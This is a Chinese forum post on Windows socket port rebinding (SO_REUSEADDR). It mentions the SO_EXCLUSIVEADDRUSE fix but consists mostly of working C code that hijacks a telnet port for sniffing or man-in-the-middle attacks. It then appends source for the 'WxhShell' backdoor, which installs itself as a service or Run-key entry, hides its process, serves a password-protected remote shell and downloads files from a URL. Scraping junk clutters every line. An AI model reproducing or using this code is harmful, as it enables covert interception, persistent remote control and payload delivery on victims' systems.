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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G(Lzf(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nv GF2(;l  
b $'FvZbk  
  saddr.sin_family = AF_INET; 7zA'ri3w  
pN!}UqfI-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #~#R-   
a<@1 -j<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dpJ_r>NI  
3Iua*#<m,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]"J~:{, d  
1cxrH+N  
  这意味着什么?意味着可以进行如下的攻击: N+++4;  
'GB. UKlR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FFV `P  
;P;-}u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (XeE2l2M  
3) 8QS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tU4s'J  
!i{aMxUP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  } uO);k5H  
'U1R\86M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L\Aq6q@c  
7"aN#;&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 AB=daie  
#EO9UW5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }0eF~>Df  
r) HHwh{9  
  #include l9}3XI.=  
  #include kv3E4,<9  
  #include \wo?47+=  
  #include    $AfM>+GQ`n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M%Ji0v38  
  int main() cimp/n"  
  { UADFnwR[R  
  WORD wVersionRequested; cU;iUf  
  DWORD ret; `Zf^E >)  
  WSADATA wsaData; >Nvjl~o5  
  BOOL val; ]or>?{4g  
  SOCKADDR_IN saddr; &Nj3h(Ll  
  SOCKADDR_IN scaddr; xgbJ2Mh  
  int err; L0* nm.1X  
  SOCKET s; |k+8<\  
  SOCKET sc; Nd`%5%'::  
  int caddsize; 1xD=ffM>8N  
  HANDLE mt; 2HpHxVJ  
  DWORD tid;   FB  _pw!z  
  wVersionRequested = MAKEWORD( 2, 2 ); iJ~Zkd  
  err = WSAStartup( wVersionRequested, &wsaData ); W{%TlN  
  if ( err != 0 ) { KB%"bqB|  
  printf("error!WSAStartup failed!\n"); } ~h3c|  
  return -1; ZYI{i?Te#  
  } *FC=X)_&W  
  saddr.sin_family = AF_INET; eAXc:222  
   >SML"+>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <0H"|:W>I]  
{. 2k6_1[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xgpi-l  
  saddr.sin_port = htons(23); gXYI\.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :A1{d?B  
  { |(pRaiJ  
  printf("error!socket failed!\n"); z54EG:x.7^  
  return -1;  /<HRwG\w  
  } |UK}  
  val = TRUE; 7N-w eX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  86(I^=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <<(wa j  
  { k *Q<3@S  
  printf("error!setsockopt failed!\n"); l% ?T2Fm3>  
  return -1; FO!]P   
  } & @s!<9$W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4G$|Rx[{,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 - M[$Zy^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )#.<]&P}  
0|$v-`P$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VG,u7A*Z#  
  { \<y`!"c  
  ret=GetLastError(); '<rZm=48  
  printf("error!bind failed!\n"); 30XR 82P/  
  return -1; HR ;)|j{!  
  } p /#$io  
  listen(s,2); lmfi  
  while(1) <(-3_s6-  
  { v1%uxthW  
  caddsize = sizeof(scaddr); c8L~S/t  
  //接受连接请求 ]T;EdK-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wtc!>  
  if(sc!=INVALID_SOCKET) 3~}uqaGt  
  { cgm81+[%r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7 qj9&bEy  
  if(mt==NULL) b!sRk@LGZ  
  { ag*mG*Z  
  printf("Thread Creat Failed!\n"); m9"n4a|:  
  break; L5#P[cHzz  
  } tZ^Ou89:rG  
  } ~v]!+`_J  
  CloseHandle(mt); mf}O-Igte  
  } MxY/`9>E|+  
  closesocket(s); E-I-0h2  
  WSACleanup(); u86"Y ^d#  
  return 0; \8<BLmf4U  
  }   q o\?o    
  DWORD WINAPI ClientThread(LPVOID lpParam) 4?-.Z UT-1  
  { ,Fi>p0bz  
  SOCKET ss = (SOCKET)lpParam; N 5i+3&  
  SOCKET sc; 9(6I<]#  
  unsigned char buf[4096]; )('%R|$ /  
  SOCKADDR_IN saddr; pek%08VSEU  
  long num; ;PjQt=4K  
  DWORD val; );Z1a&K5k  
  DWORD ret; Sh?4r i@:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o>7ts&rk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c05%iv  
  saddr.sin_family = AF_INET; 'UMXq~RMe  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m < 3Ao^I+  
  saddr.sin_port = htons(23); sO.`x*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !!Aj<*%  
  { d)pV;6%[$q  
  printf("error!socket failed!\n"); E;1Jh(58)b  
  return -1; zxf"87se  
  } )l!3(  
  val = 100; cZT({uYGL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5g9; +}X;  
  { 4H|(c[K;  
  ret = GetLastError(); hWKJ,r%9;  
  return -1; PSPmO'C+  
  } PJ2qfYsH=>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7DIIx}A  
  { 8HRmQ  
  ret = GetLastError(); *&d<yJM`b  
  return -1; qQ0cJIISb\  
  } QK+(g,)_86  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Op>%?W8/UF  
  { TEMw8@b  
  printf("error!socket connect failed!\n"); .N*Pl(<[  
  closesocket(sc); bd<m%OM""  
  closesocket(ss); $2u 'N:o  
  return -1; (sQr X{~  
  } bzvh%RsW  
  while(1) c7M%xGrP  
  { >P/][MT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1*dRK6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #vzEu )Ul  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6<'21  
  num = recv(ss,buf,4096,0); ;s~X  
  if(num>0) gq"gUaz  
  send(sc,buf,num,0); ZvUC I8  
  else if(num==0) Zr-U&9.`  
  break; i,|0@Vy  
  num = recv(sc,buf,4096,0); tOOchu?=  
  if(num>0) in(U:04  
  send(ss,buf,num,0); BbRBT@  
  else if(num==0) 0d3+0EN{  
  break; l27\diKPJ  
  } 5bA)j!#)|X  
  closesocket(ss); ;/0 Q1-  
  closesocket(sc); cW{1 Pz^_  
  return 0 ; ]q6;#EUr?  
  } M{$j  
meCC?YAB  
m~>Y{F2  
========================================================== VOr1  
NBF MN%  
下边附上一个代码,,WXhSHELL OKHX)"j\\  
[y0O{,lI  
========================================================== 5BR2?hO4  
F|& {Rt  
#include "stdafx.h" T2D<UhP  
E( h<$w8s  
#include <stdio.h> 8k^| G  
#include <string.h> 4:7V./" 9  
#include <windows.h> IQ!\w-  
#include <winsock2.h> fS:1^A2,  
#include <winsvc.h> 3b YCOqG  
#include <urlmon.h> Nk[2nyeO>  
\3Q&~j  
#pragma comment (lib, "Ws2_32.lib") (n1Bh~R^  
#pragma comment (lib, "urlmon.lib") 5~.ZlGd  
vfNAs>Xg"  
#define MAX_USER   100 // 最大客户端连接数 s!9dQ.  
#define BUF_SOCK   200 // sock buffer L.T?}o  
#define KEY_BUFF   255 // 输入 buffer N-g8}03  
j Y6MjZI  
#define REBOOT     0   // 重启 xcJ `1*1N  
#define SHUTDOWN   1   // 关机 7?v#'Ie s  
HK)cKzG[s!  
#define DEF_PORT   5000 // 监听端口 P"lBB8\eku  
" v}pdUW  
#define REG_LEN     16   // 注册表键长度 @R m-CWa  
#define SVC_LEN     80   // NT服务名长度 lc6i KFyG  
1shBY@mlq  
// 从dll定义API +m}Pmi$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?%O3Oi Xz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `mH %!{P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b.O9ITR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $^ 'aCU0C  
h7X_S4p/Mg  
// wxhshell配置信息 WhBpv(q}.  
struct WSCFG { FA90`VOWYU  
  int ws_port;         // 监听端口 'O6]0l  
  char ws_passstr[REG_LEN]; // 口令 `d2,*KR  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?4G|+yby  
  char ws_regname[REG_LEN]; // 注册表键名 K1?Gmue#I  
  char ws_svcname[REG_LEN]; // 服务名 ^O^:$nXhYy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q/I)V2a1i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 to"' By{9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 : t$l.+B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fWGOP~0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _)$PKOzbb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r,(e t  
?@6/Alk  
}; 6 fz}  
0(8H;T  
// default Wxhshell configuration R)Mt(gFZT_  
struct WSCFG wscfg={DEF_PORT, ~n!!jM:N  
    "xuhuanlingzhe", = \ , qP  
    1, qJR!$?  
    "Wxhshell", 3}1ssU"T  
    "Wxhshell", I/x iT  
            "WxhShell Service", I-NN29Sk  
    "Wrsky Windows CmdShell Service", *oI*-C  
    "Please Input Your Password: ", nL]^$J$  
  1, }iBC@`mg(  
  "http://www.wrsky.com/wxhshell.exe", qu6DQ@ ~YC  
  "Wxhshell.exe" o**yZ2  
    }; RAs0]K  
k /EDc533d  
// 消息定义模块 smAC,-6 ]~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &ogt2<1W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TB aVW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BRG|Asg(  
char *msg_ws_ext="\n\rExit."; t@bt6J .{  
char *msg_ws_end="\n\rQuit."; ;eB ~H[S/  
char *msg_ws_boot="\n\rReboot..."; ^%oUmwP<$  
char *msg_ws_poff="\n\rShutdown..."; 6er(%4!  
char *msg_ws_down="\n\rSave to "; H ;@!?I  
ZX`J8lZP  
char *msg_ws_err="\n\rErr!"; "u' )g&   
char *msg_ws_ok="\n\rOK!"; QYE7p\  
@u4=e4eF`  
char ExeFile[MAX_PATH]; &;q<M_<  
int nUser = 0; |@VF.)_  
HANDLE handles[MAX_USER]; 5a8>g [2U  
int OsIsNt; Z&yaSB  
]Nk!4"  
SERVICE_STATUS       serviceStatus; FY;+PY@I{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t)1phg4H)  
:9d\Uj,  
// 函数声明 1-;?0en&0  
int Install(void); l`n5~Fs  
int Uninstall(void); o#i ]"  
int DownloadFile(char *sURL, SOCKET wsh); CUmH,`hu  
int Boot(int flag); \MYU<6{u  
void HideProc(void); /r$&]C:Fi  
int GetOsVer(void); .{rbw9  
int Wxhshell(SOCKET wsl); ^o<[. )  
void TalkWithClient(void *cs); X}JWf<=q  
int CmdShell(SOCKET sock); pz}mF D&[  
int StartFromService(void); 'wQy]zm$  
int StartWxhshell(LPSTR lpCmdLine); m3 IP7h'  
iK}v`xq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *=nO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EnCU4CU`  
w6,*9(;$Pk  
// 数据结构和表定义 ,?b78_,2  
SERVICE_TABLE_ENTRY DispatchTable[] = |_pl;&;:  
{ 1Kc^m\  
{wscfg.ws_svcname, NTServiceMain}, Yw"P)Zp  
{NULL, NULL} 23E 0~O  
}; Ee?;i<u  
m6so]xr  
// 自我安装 T^)plWw  
int Install(void) ,t~sV@ap  
{ wc[c N+p  
  char svExeFile[MAX_PATH]; $N\+,?  
  HKEY key; %h*5xB]Tt  
  strcpy(svExeFile,ExeFile); ~zMKVM1Q.,  
.Vh*Z<9S4  
// 如果是win9x系统,修改注册表设为自启动 v>I<|  
if(!OsIsNt) { ?M"HXu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <9 },M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T +\B'"  
  RegCloseKey(key); 8kbBz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jk*QcEE=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y\8+}g;KR  
  RegCloseKey(key); #<}kISV0  
  return 0; :@e\'~7sH  
    } wb+<a  
  } M71R -B`-  
} (w2(qT&O  
else { @U7Dunu*f  
bA+[{  
// 如果是NT以上系统,安装为系统服务 _S<?t9mS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i@{*O@m  
if (schSCManager!=0) &<{}8/x8(  
{ Xoi9d1fO  
  SC_HANDLE schService = CreateService &fHc"-U}  
  ( jNqVdP]d\  
  schSCManager, kpT>G$s~gy  
  wscfg.ws_svcname, KDaN-r^{%  
  wscfg.ws_svcdisp, G|V\^.f<  
  SERVICE_ALL_ACCESS, V Q h/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s?+fPOF  
  SERVICE_AUTO_START, w[{*9  
  SERVICE_ERROR_NORMAL, cl2ze  
  svExeFile, :5<#X8>d  
  NULL, xx6S`R6:  
  NULL, 0w+5'lOg  
  NULL, @|]G0&gn&?  
  NULL, .SBc5KX  
  NULL vhNohCt  
  ); )?9\$^I  
  if (schService!=0) s%bUgO%&  
  { @oA0{&G{  
  CloseServiceHandle(schService); L3g9b53\  
  CloseServiceHandle(schSCManager); [{/$9k-aF?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ba<#1p7_  
  strcat(svExeFile,wscfg.ws_svcname); TL]bY'%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "bi  !=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e+x*psQ  
  RegCloseKey(key); m"q/,}DR  
  return 0; uh1S 7!^  
    } lf;~5/%wMG  
  } 2$  
  CloseServiceHandle(schSCManager); *n;>p_#  
} Qv\bLR  
} oN4G1U Kc  
^}tL nF  
return 1; a /QIJ*0  
} E"ZEo9y@^  
:K: f^o]s  
// 自我卸载 !4_!J (q%  
int Uninstall(void) q'by;g*m  
{ we }#Ru*  
  HKEY key; QT7_x`#J~o  
~U/8 @gR  
if(!OsIsNt) { =P)"NP7f'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 L*+8a  
  RegDeleteValue(key,wscfg.ws_regname); ZHb7+  
  RegCloseKey(key); (e 0_RQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rnz8 f}  
  RegDeleteValue(key,wscfg.ws_regname); P`z7@9*j  
  RegCloseKey(key); Z0{f  
  return 0; /#@LRN<oCq  
  } icU"Vyu  
} _dJp 3D  
} ysL0hwir  
else { #&}%70R)  
JThk Wx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^NY+wR5Sn  
if (schSCManager!=0) bJANZn|H  
{ w4NZt|>5j;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8rla0d@  
  if (schService!=0) sYl&Q.\q  
  { m=#aHF  
  if(DeleteService(schService)!=0) { 8u4gx<;O  
  CloseServiceHandle(schService); #W_i{bdO  
  CloseServiceHandle(schSCManager); Ml'bZLwq  
  return 0; ="/R5fp  
  } 1hF2eNh  
  CloseServiceHandle(schService); |:~("rA+v  
  } t)YFTO"Jj  
  CloseServiceHandle(schSCManager); muW`pm  
} `MN&(!&C*  
} 8''9@xz  
s4^[3|Zrr0  
return 1; "K9vm^xP  
} $0S.@wUG  
y.L|rRe@P  
// 从指定url下载文件 }w;Q^EU  
int DownloadFile(char *sURL, SOCKET wsh) E!:.G+SEl  
{ nC-c8y  
  HRESULT hr; qpluk!  
char seps[]= "/"; Tb>IHoil  
char *token; oVKsic?  
char *file; fx8y`8}_  
char myURL[MAX_PATH]; V#n?&-{V  
char myFILE[MAX_PATH]; 3Yn:fsy  
]L5Z=.z&  
strcpy(myURL,sURL); \9&YV;Ct  
  token=strtok(myURL,seps); wFKuSd  
  while(token!=NULL) Sn{aHH  
  { V\e13cL]  
    file=token; w a-_O<  
  token=strtok(NULL,seps); RZcx4fL}x  
  } %[+a[/  
f(@"[-[  
GetCurrentDirectory(MAX_PATH,myFILE); A8A:@-e8A  
strcat(myFILE, "\\"); 2 zmQp  
strcat(myFILE, file); 6!gtve_  
  send(wsh,myFILE,strlen(myFILE),0);  0jip::x  
send(wsh,"...",3,0); 3Vb=6-|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8AC. 2 v?_  
  if(hr==S_OK) YUP%K!k  
return 0; hi4h0\L!}  
else 8Izn'>"  
return 1; mE3SiR "  
xPn'yo  
} aHVdClD2o  
? bUpK  
// 系统电源模块 H L}sqcp  
int Boot(int flag) /: \VwH  
{ c:`` Y:  
  HANDLE hToken; ]iE.fQ?;J  
  TOKEN_PRIVILEGES tkp; {m*V/tX  
[EW$7 se~  
  if(OsIsNt) { {{4p{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]Lb?#S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mV! @oNCK  
    tkp.PrivilegeCount = 1; +UpMMh q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'o#J>a~!9L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9$\;voo  
if(flag==REBOOT) { fW4cHB 9|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nDoiG#N0  
  return 0; a|6x!p2X  
} HIWmh4o/.  
else { fEv<W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \+evZ{Pu  
  return 0; DS,FVh".|  
} 8#d1}Y  
  } C^\*|=*\  
  else { ma]F%E+$  
if(flag==REBOOT) { vxilQp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @7[.> I(  
  return 0; ek;&<Z_ ]  
} >kDdWgRQ  
else { afP&+ 5t@O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h,WY2Hr  
  return 0; mZ0oa-Iy  
} 8HRPJSO~g  
} fj t_9-.  
yzM+28}L<I  
return 1; CAo )v,f  
} j~L1~@  
]htZ!; 8J  
// win9x进程隐藏模块 ch,Zk )y:_  
void HideProc(void) vo( j@+dz  
{ 4xpWO6Q  
}MavI'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vb"dX0)<  
  if ( hKernel != NULL ) J"2ODB5"  
  { 7U[L\1zS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iZq@W3GL C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zyp"*0zUr  
    FreeLibrary(hKernel); L]}RSE2  
  } X,Q=n2X?3  
L5k>;|SA  
return; ^3)2]>pW  
} ATmqq)\s  
C8W`Oly:]  
// 获取操作系统版本 ~j&:)a'^  
int GetOsVer(void) !E:Vn *k;  
{ xE-c9AH  
  OSVERSIONINFO winfo; o(>-:l i0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?5YmE(v7  
  GetVersionEx(&winfo); B%g:Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hHl-;%#  
  return 1; dbUZGn~  
  else >'TD?@sr  
  return 0; 7f Tg97eF  
} 7@cvy? v{  
;{q) |GRF  
// 客户端句柄模块 o`8+#+@f7  
int Wxhshell(SOCKET wsl) U:4Og8  
{ i`nw"8  
  SOCKET wsh; aLk2#1$g  
  struct sockaddr_in client; +ZA\ M:^b  
  DWORD myID; ~W*j^+T"  
JX0_UU  
  while(nUser<MAX_USER) ^21f^>k(  
{ S1= JdN  
  int nSize=sizeof(client); 9PGR#!!F$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !@Vp Bl  
  if(wsh==INVALID_SOCKET) return 1; lvJ{=~u  
g#%FY1xp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YB3=ij!K  
if(handles[nUser]==0) ZUJOBjb` K  
  closesocket(wsh); d~Ry>   
else )zt4'b\)v  
  nUser++; v_h*:c  
  } =egi?Ne  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JIKxY$GS  
zomNjy*  
  return 0; L.:QI<n  
} yj+b/9My   
GXlg%  
// 关闭 socket (<JDD]J  
void CloseIt(SOCKET wsh) "jc)N46  
{ PQ"%Z.F"  
closesocket(wsh); DF|lUO]:  
nUser--; _O,ZeES  
ExitThread(0); +* {5ORq=  
} Od]xIk+E  
JsEEAM:w  
// 客户端请求句柄 P2JRsZ.  
void TalkWithClient(void *cs) tRBK1h  
{ *9(1:N;#  
V(uRKu x  
  SOCKET wsh=(SOCKET)cs; r K)  
  char pwd[SVC_LEN]; &E`Z_} ~  
  char cmd[KEY_BUFF]; i O|,,;_  
char chr[1]; yZ0ZP  
int i,j; V>92/w.fe  
NB +O;  
  while (nUser < MAX_USER) { swL|Ff`$  
!*UdY(  
if(wscfg.ws_passstr) { .LR>&N_U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aBi:S3 qk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1W<_5 j_  
  //ZeroMemory(pwd,KEY_BUFF); /-4B)mL  
      i=0; DJ0T5VE W3  
  while(i<SVC_LEN) { }3y\cv0ct  
l8Qi^<i/  
  // 设置超时 {=7i}xY]T  
  fd_set FdRead; ?+=|{{l  
  struct timeval TimeOut; NYvj?>[y  
  FD_ZERO(&FdRead); 1u+ (rVQN  
  FD_SET(wsh,&FdRead); " <a|Q,!  
  TimeOut.tv_sec=8; i]?xM2(N  
  TimeOut.tv_usec=0; &:K?-ac  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K({,]<l5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D07u?  
)1 j2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w/6@R 4)p  
  pwd=chr[0]; P< x  
  if(chr[0]==0xd || chr[0]==0xa) { .Kwl8xRg  
  pwd=0; L]<4{8H.  
  break; Ps\^OJR  
  } !#qB%E]a  
  i++; $7d"9s\$"  
    } ]t;5kj/  
c%.& F  
  // 如果是非法用户,关闭 socket Tj9q(Vq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jMbK7 1K%  
} *$D-6}Oay  
nTKfwIeg5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1_lL?S3,a@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?s33x#  
Q4q#/z  
while(1) { !F)oX7"  
%Q0J$eC  
  ZeroMemory(cmd,KEY_BUFF); x9c/;Q &m  
7xmyjy%c  
      // 自动支持客户端 telnet标准   NvZ )zE  
  j=0; ,s?7EHtC  
  while(j<KEY_BUFF) { E903T''s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T vEN0RV2  
  cmd[j]=chr[0]; #..-!>lY  
  if(chr[0]==0xa || chr[0]==0xd) { d]v4`nc  
  cmd[j]=0; 5K~kzR L$r  
  break; xKKR'v:o\  
  } 1>doa1  
  j++; ae)0Yu`*G7  
    } 0NN{2"M$p  
Y[A`r0  
  // 下载文件 6Q&*V7EO  
  if(strstr(cmd,"http://")) { B"-gK20vY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]aqHk  
  if(DownloadFile(cmd,wsh)) 4)o_gm~6c4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?D].Za^km  
  else Bh9O<|E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N}Ol`@@#h  
  } 6~ *w~U  
  else { kp4*|$]  
*3yeMxa  
    switch(cmd[0]) { _.xT :b36  
  -XVC,.Ly  
  // 帮助 ]7QRelMiz+  
  case '?': { Fh XR!x^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AxaabS$\  
    break; :qV}v2  
  } UF[2Rb8?  
  // 安装 d9zI A6y  
  case 'i': { FtUOgL)|  
    if(Install()) z+IBy+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K*^3FO}JG  
    else 8UiRirw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fz'@ON  
    break; 34S0W]V  
    } xwK{}==U  
  // 卸载 7.Df2_)  
  case 'r': { *Ii_dpJ  
    if(Uninstall()) 57 (bd0@8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~JhH ,E  
    else S"+X+Oxp7?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D@@J7  
    break; aQzDOeTi  
    } /dGpac  
  // 显示 wxhshell 所在路径 s6=jHrdvv  
  case 'p': { MvV\?Lzj   
    char svExeFile[MAX_PATH]; -\=s+n_ZP?  
    strcpy(svExeFile,"\n\r"); ejs_ ?  
      strcat(svExeFile,ExeFile); H,8HGL[l  
        send(wsh,svExeFile,strlen(svExeFile),0); EjxzX1:  
    break; })~M}d2LXB  
    } xZbiEDU  
  // 重启 :(7icHa  
  case 'b': { q|N,?f9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %DOV)Qc2  
    if(Boot(REBOOT)) G,o5JL"t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =IEei{  
    else { o?`^ UG-   
    closesocket(wsh); 60XTdJkDkA  
    ExitThread(0); `)n/J+g  
    } LB\+*P6QM  
    break; c4 bo  
    } <tI_u ~P  
  // 关机 r"$~Gg.%(  
  case 'd': { J/>9w  
